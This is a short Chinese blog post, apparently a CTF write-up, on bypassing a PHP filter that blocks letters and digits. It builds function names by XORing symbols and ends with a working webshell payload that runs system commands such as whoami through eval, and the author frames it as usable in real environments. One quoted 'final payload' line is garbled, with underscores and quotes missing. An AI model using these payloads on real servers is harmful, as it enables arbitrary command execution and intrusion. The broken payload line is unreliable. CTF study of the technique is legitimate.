无字母数字shell

最近看到一个ctf题目,关于无字母数字获取shell的,记录一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

代码进行了字母数字过滤,并且限制了输入长度。
那么按照我们利用异或和php弱类型的一些特性,将符号转换为字母,再拼接函数,或者我们想要利用的webshell;
下面进行简单的演示:

1
2
3
4
5
6
echo 'g'^'<';                   //  输出结果为 [ 
echo '['^'<'; // 这样便可以得到 g
echo ('['^'<').(':'^'_'); // 拼接之后得到 ge
echo '[:'^'<_'; // 为了减少长度,这样同样可以输出与上面相同的效果 ge

echo '[:[:,_]'^'<_/|@>:';// 构造出getFlag,而此时仅用了19个字符的长度

那么重点来了,既然我们已经构造出了getFlag,再加个(),拼接进去()不是就能直接读取题目的flag了,确实是这样,但如果直接拼进字符串是没有效果的,其只能作为字符串而不能被当作函数,我们还要进行适当的拼接。

1
2
$_ = '[:[:,_]'^'<_/|@>:';       //  getFlag
$_(); // getFlag() 这样就会变成函数了

那么我们最终的payload即为:?code=$=’[:[:,]’^’</|@>:’;$();

这样仅仅是调用了一个输出flag的函数,那么我们要是在实际环境中想继续利用的话,我们需要构造出一个webshell。

1
2
$_="`{{{"^"?<>/";               // _GET
${$_}[_](${$_}[__]); // $_GET[_]($GET_[__])

这样就突破了code的长度限制,利用get传入两个变量,一个作为函数名,一个作为函数参数。就可以实现一个任意代码执行了。
例如利用system执行系统命令

1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=whoami

本文标题:无字母数字shell

文章作者:boogle

发布时间:2018年08月08日 - 15:31

最后更新:2019年03月07日 - 11:36

原始链接:https://zhengbao.wang/无字母数字shell/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗